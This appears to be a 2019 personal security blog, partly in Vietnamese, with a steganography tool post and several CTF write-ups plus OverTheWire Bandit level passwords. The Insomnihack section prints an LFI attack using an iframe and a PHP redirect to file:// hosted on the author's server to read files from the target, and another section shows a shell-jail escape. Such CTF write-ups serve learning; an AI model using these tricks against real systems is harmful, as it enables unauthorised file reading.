Tuesday, June 11, 2019

[Project] 1 - Bluestego

The LSB is old technique but still a most common in the CTF and special is in steganography. What is LSB?

The least significant bits have the useful property of changing rapidly if the number changes even slightly. For example, if 1 (binary 00000001) is added to 3 (binary 00000011), the result will be 4 (binary 00000100) and three of the least significant bits will change (011 to 100). By contrast, the three most significant bits (MSBs) stay unchanged (000 to 000).


And in my tool, I use it to hide the message into the picture, every pixel can hide 1 bit, so 8 pixels will compose to 1 byte.


But it too basically, and too easy with zsteg to read the message, so I add some cryptography to encrypt the message. The main cryptography technique I use is Vigenere cipher, I think it old but gold, and I do some stuffs to modify it.

And it can encrypt 2^12 = 4096 characters in a picture with large resolution, for small picture character number can calculate by formula:

Character = (Height * Width / 8) - 20

For example, I used an image sky.jpg to ecnrypt the string: "Hello Blue"



The output.png:


For decryption:


I think it's really easy to use, but still now it too simple, and in the future I hope I can make it better, like can encrypt file in image not only text like right now.

I pushed code on github as always: https://github.com/BinhHuynh2727/BlueStego

Saturday, June 8, 2019

[Writeup] HSCTF 2019

FORENSICS

Chicken Crossing


Use strings and grep command in linux I have a flag.
Flag: hsctf{2_get_2_the_other_side}

Cool Image

The author give us a file with extension is .pdf, but I can open it, check back the header I realize it is the .png file so I just change the extension and get flag.


Cool Image 2

This time I can't open the PNG file. Like cool image 1 I open it in HXD and I see the auther add some stuffs at the header and make operation can't realize the png file. Just delete all of it I have true image:

Slap


Once again, I use strings and grep command in linux and take flag
Flag: hsctf{twoslapsnonetforce}


Logo sucks bad


When I use Stegsolve on the image, I see at top of image have been changed, so I believe the Image changed by LSB. I used zsteg and have flag.
Flag: hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}


Tuesday, April 30, 2019

[Writeup] Mates SS3 Round 4

Programing

Đề bài làm bắt chúng ta phải làm sao từ 2 bình nước x, y có thể tích vx, vy và phải đong nước làm sao cho được z lít. Đây là bài toàn đong nước kinh điển, may mắn là mình đã được học qua ở trường nên có thể làm được bài này một cách nhanh chóng bằng thuật toán dẫn luật.

Soure code:



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
'''
Luat 1: Neu VX day thi do nuoc trong binh X di               
Luat 2: Neu VY rong thi do day nuoc cho binh Y
Luat 3: Neu VX khong day va VY khong rong thi 
trut nuoc tu binh Y sang binh X cho den khi binh X day    

e lam rong binh
f lam day binh
o do tu binh nay sang binh kia

'''

from pwn import *
host = '125.235.240.166'

port =  11223
r = remote(host,port)
def dongnuoc(Vx,Vy,z):
    x = 0
    y = 0
    s = ''
    s = ""
    while (x!=z) and (y!=z):
        if x == Vx:
            x = 0
            s += '1:e_'
        if y == 0:
            y = Vy
            s += '2:f_'
        if y > 0:
            k = min(Vx-x,y)             
            x = x+k
            y = y-k 
            s += '2:o_'
    return s

def agr():
    r.recvuntil('1: ')
    Vx = int(r.recvuntil('\n').strip())
    r.recvuntil('2: ')
    Vy = int(r.recvuntil('\n').strip())
    r.recvuntil('z: ')
    z = int(r.recvuntil('\n').strip())
    return Vx,Vy,z

for i in range(5):   
    Vx,Vy,z = agr()
    s = dongnuoc(Vx,Vy,z)
    s = s[:-1]
    r.recvuntil('op> ')
    r.sendline(s)
    print r.recvuntil('\n')
    print r.recvuntil('\n')
r.interactive()


Forensics

Đề bài là một file pcap với giao thức chính là NTP và data strem là một chuỗi base64 nhưng không decode ra gì cả, sau khi xem tổng thể mình để ý thấy có 1 gói tin Malformed packet tra google mình biết đó là PNG bị hỏng trong quá trình chuyển tin. Để ý lại một lần nữa mình mới thấy là bản thân khá fail khi chỉ loại 1 loạt dấu !!! mà không thử loại loạt chữ AAA ở đầu. Thử decdoe bằng đoạn mới mình có một bức ảnh PNG chứa flag:


Monday, April 22, 2019

[Writeup] ASIS 2019 Quals

Flag collision


In this challenge, we need to sumbit two string differene but same length and same crc 32. After I try to brute force two string with length is 15 and submit to server, I received the example of admin is two strings:  ASIS{4LEVv9no8} and ASIS{wpQ78d6lk}. These things help me alot becasue in next stages, server will request random length of 2 strings but same crc32. 

After do some stuff, I realized if we add some stuff to that strings the crc32 still same.

For example:
CRC32(ASIS{wpQ78d6lkBBB}) and CRC32(ASIS{4LEVv9no8BBB}) is same.

Ok so we just need to add "B" word to strings and send to sever and take the flag
My code:



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import hashlib
import itertools
from pwn import *
import sys
def md5(pow_target):
    pow = ""
    for word in itertools.product(string.printable, repeat=5):
        if hashlib.md5(''.join(word)).hexdigest()[-6:] == pow_target:
            pow = ''.join(word)
            return pow
def sha1(pow_target):
    pow = ""
    for word in itertools.product(string.printable, repeat=5):
        if hashlib.sha1(''.join(word)).hexdigest()[-6:] == pow_target:
            pow = ''.join(word)
            return pow
def sha224(pow_target):
    pow = ""
    for word in itertools.product(string.printable, repeat=5):
        if hashlib.sha224(''.join(word)).hexdigest()[-6:] == pow_target:
            pow = ''.join(word)
            return pow
def sha256(pow_target):
    pow = ""
    for word in itertools.product(string.printable, repeat=5):
        if hashlib.sha256(''.join(word)).hexdigest()[-6:] == pow_target:
            pow = ''.join(word)
            return pow
def sha384(pow_target):
    pow = ""
    for word in itertools.product(string.printable, repeat=5):
        if hashlib.sha384(''.join(word)).hexdigest()[-6:] == pow_target:
            pow = ''.join(word)
            return pow
def sha512(pow_target):
    pow = ""
    for word in itertools.product(string.printable, repeat=5):
        if hashlib.sha512(''.join(word)).hexdigest()[-6:] == pow_target:
            pow = ''.join(word)
            return pow
host = '37.139.9.232'
port = 19199
r = remote(host,port)
msg = r.recvuntil('\n')
#print msg
msg = msg.split(' ')
#print msg
pow_target = msg[-1].strip()
if 'md5' in msg[-3]:
    payload = md5(pow_target)
elif 'sha1' in msg[-3]:
    payload = sha1(pow_target)
elif 'sha224' in msg[-3]:
    payload = sha1(pow_target)
elif 'sha256' in msg[-3]:
    payload = sha256(pow_target)
elif 'sha384' in msg[-3]:
    payload = sha384(pow_target)
elif 'sha512' in msg[-3]:
    payload = sha512(pow_target)
else:
    print msg[-3]
r.sendline(payload)
#print r.recv(1024)
print 'stage1'

r.sendline('ASIS{wpQ78d6lk}, ASIS{4LEVv9no8}')
#print r.recv(1024)
print 'stage2'
i=0
while 1:
    a = 'ASIS{4LEVv9no8'
    b = 'ASIS{wpQ78d6lk'
    if i == 14:
        print r.recv(1024)
        sys.exit()
    r.recvuntil(':)\n')
    msg = r.recvuntil(':|\n')
    msg = msg.split(' ')
    number = int(msg[10])
    repeat = number-len(a)-1
    a = a + "b" * repeat + "}"
    b = b + "b" * repeat + "}"
    m = str(a)+', '+str(b)
    m = str(m)
    r.sendline(m)
    i+=1
And I after 14 times, I took a flag:





Monday, April 1, 2019

[Writeup] Sunshine CTF 2019

Forensics

Golly

It's a code of Golly rle file, when I run a code given I just have a alphabet table:

Run it and nothing else, I read a rle file document at here. And I know a "$" represents the end of each row and an optional "!" represents the end of the pattern. So I just copy the paragraph after !$$$$ and I got

Flag: sun{th1s_w0nt_last}

Castles

Open the file in HXD I saw something like a hint:

Hey! Mario said something about a hidden key. Hesaid this: F2I and A1S, and that it was in two pieces

Because this is 001 file so I use FTK Imager to open it. And I found an JPG image of Mario:

Saturday, March 23, 2019

[Writeup] Insomnihack final 2019

myBrokenBash

For this challenge, the author give us something about stdout and when I try to send something the server will reply the string that I send, it's make me remember to a challenge in Ringzer0 CTF about bash shell jail escaping. It use file description to bypass stdout. Redirect from stdout to stdin by ls * 1>&0 I can see the flag file.


But I got the problem when I try to cat a flag, I only have a half flag



Maybe another file contain another half flag but the grep command only direct me to that file, so I think it have been filtered output. After a little help form my mates, I used base64 command and got a flag.


Flag: INS{c@t_th3_Flag_1t_s_n0t_so_ea4y}

EZGEN

I write this writeup base on my mate solution, I just help him found flag's direction because I found it at mybashbroken. This challenge have problem is LFI and he wrote a code on his vps to get flag. The code below is just a old version because he reset windows after competion end so I can't have best code for you.

index.html


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title></title>
  <link rel="stylesheet" href="">
</head>
<body>
  <iframe width="800" height="800" src="http://<IP_YOUR_SERVER>/file.php?file=/var/www/html/webtopdf.php"></iframe>
</body>
</html>

file.php


1
2
3
4
<?php
$filename = $_GET['file'];
header("Location: file://$filename");
?>

The flag saved at /flag
(This is my first test, correct is /flag not flag)
And I got flag


Monday, March 11, 2019

[Writeup] Pragyan CTF - Forensics

Welcome

We have a jpg file, I used HXD and see a zip file in it, then I used binwalk to get the zip file.


1
2
3
4
5
6
7
$ binwalk welcome.jpeg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
10600         0x2968          Zip archive data, at least v2.0 to extract, uncompressed size: 9886, name: d.zip
20483         0x5003          End of Zip archive

And what I got? One secret.bmp file and one zip file contain the flag but protected by password. Dig the bitmap file I saw a base64 strings is: dGhlIHBhc3N3b3JkIGlzOiBoMzExMF90aDNyMyE==
Decode and I got the password is: h3110_th3r3!
After have a.png I used stegsolve to check lsb and got the flag



Flag: pctf{st3gs0lv3_1s_u53ful}

Magic PNGs

The picture you_can't_see_me.png have wrong 2 point, first is the header, I changed the header

89 50 4E 47 2E 0A 2E 0A to 89 50 4E 47 0D 0A 1A 0A

then I look for chunk: 6, the iidat should be IDAT




fix it and I got the image:



And the password for zip file is md5(h4CK3RM4n)

Flag: pctf{y0u_s33_m33_n0w!}

Tuesday, March 5, 2019

[Writeup] BSidesSF 2019 CTF

Trivia 1:

Search nguyên dòng chữ "My voice is my ________. Verify me." lên google mình thấy ngay ở kết quả tìm thấy đầu tiên: My voice is my passport

Flag: passport.

Forensics

table-tennis

Sử dụng wireshark, mình thấy có khá nhiều certificate, tuy nhiên nhưng chứng chỉ này không làm được gì cả. Và số lượng gói tin cũng khá nhiều nên mình vào Statistics -> Conversations để xem các kết nối.


Sau khi filter các kết nối của mạng 172.217.5.100 và 172.217.0.36 mình thấy rằng đó là các gói tin ICMP, request và reply data có đều có chứa mã base64, vì không rành về thư viện scappy lắm và một phần là chuỗi cũng khá ngắn nên mình quyết định là làm bằng tay.


Và chỉ sau chừng 5 phút mình đã có được đoạn base64 hoàn chỉnh:


Q1RGe0p1c3RBMHV0UDFuUzBuZ0FiZ1Awbmd9

Flag: CTF{JustA0utP1nS0ngAbgP0ng}

goodlusk1

Ban tổ chức cho mình một file img nên mình dùng Autospy để mở. Bên trong chứa một file LUKS và không có gì khác nên mình extract file đó ra. Google cho mình biết đó là file ổ đĩa đã bị mã hóa của hệ điều hành Linux nên mình coppy vào máy ảo Linux để thực hiện.


$ sudo cryptsetup open --type luks b.luks test

Và dĩ nhiên vì là file đã mã hóa nên mình cần 1 password. File ảnh kèm theo cho chúng ta gợi ý về password và sau khi search tung google và nhìn thật kỹ vào bức anh, mình đã tìm ra đó là EFF passphrase. Để so khớp với các số đã cho mình dùng link này để có được password. Password là


wages upturned flogging rinse landmass number

Sau khi có được password mount ỗ đĩa và mình có được flag.

Flag: CTF{Look_Under_Keyboards_4_Secrets}

Wednesday, February 27, 2019

[Writeup] OverTheWire - Bandit

Level 1:

Thử thách này sau khi kết nối đến server dùng lệnh ls, chúng ta thấy một file readme cat file đó chúng ta có được password cho level tiếp theo.

Password: boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 2:

Dùng lệnh ls -lia kiểm tra, chúng ta thấy có 1 file -, vì là special character nên khi dùng lệnh cat - chúng ta không thể đọc được. Để bypass chúng ta dùng cat ./- 

Password: CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

Level 3:

Chúng ta cần file cat file spaces in this filename tuy nhiên vì trong tên file có dấu cách nếu chúng ta chỉ đơn thuần dùng lệnh cat spaces in this filename thì sẽ sai vì câu lệnh này tương đương với cat 4 file: spaces, in, this, filename. Thay vào đó ta cần thêm dấu \ vào cuối kết thúc mối từ hoặc đơn giản hơn là dùng phím tab ta sẽ có lệnh hoàn chỉnh: cat spaces\ in\ this\ filename

Password: UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

Level 4:

Vẫn tiếp tục dùng lệnh ls -lia mình thấy có file .hidden, cat .hidden và chúng ta có được password truy cập level 5:

Password: pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 5:

Chúng ta có 10 file cả thẩy, thì mình nghĩ cat lần lượt từng file sẽ ra được password cho level 6, tuy nhiên có một cách nhanh hơn đó là dùng lệnh file để xem file nào đọc được. Thử file00 với lệnh file ./-file00 mình nhận được kết quả là file data, đối với tất cả các file mình dùng lệnh: file ./* dễ dàng nhìn thấy file07 là file chứa chuỗi ascii có thể đọc được. cat ./-file07 mình có được password.

Password: koReBOKuIDDepwhWk7jZC0RTdopnAYKh

Level 6:

Bài này trong thư mục inhere có rất nhiều file và folder và rất nhiều file dạng ascii nên mình không biết được file nào là file cần tìm. Tuy nhiên để ý description của bài này thì chúng ta có gợi ý là file có thể đọc được size là 1033 byte và không thể thực thi. Mình thử tìm xem có bao nhiêu file có kích thước là 1033 byte với lệnh find -size 1033c  (chữ c trong find là dùng cho đơn vị byte) thì chỉ có đúng một file ở đường dẫn thỏa điều kiện là maybehere07/.file2

Password: DXjZPULLxYr17uwoI01bNLQbtFemEgo7

Level 7:

Tương tự level 6 mình dùng lệnh find và thêm các hint ở phần description, mình out ra cây thư mục với lệnh cd../../ sau đó kiếm file bằng lệnh find -size 33c -user bandit7 -group bandit6 , tuy nhiên thì lúc đầu mình bị stuck vì nhìn chỉ toàn thấy permision denied, chỉ khi làm lại một lần nữa và bình tĩnh hơn mình mới thấy file ./var/lib/dpkg/info/bandit7.password là không bị permision denied, cat file và lấy flag cho bài sau thôi.

Password: HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

Level 8:

Ở phần description cho mình biết cần phải lấy mật khẩu ở bên cạnh từ millionth. Lúc đầu mình cũng không hiểu lắm nhưng thử dùng lệnh strings data.txt thì mình mới hiểu. File chia có 2 cột vì vậy mình chỉ cần kiếm được dòng có chứa từ millionth thì sẽ có được password cho level sau, sử dụng strings và grep strings data.txt | grep millionth mình có được password.

Password: cvX2JJa4CFALtqS87jk27qwqGhBM9plV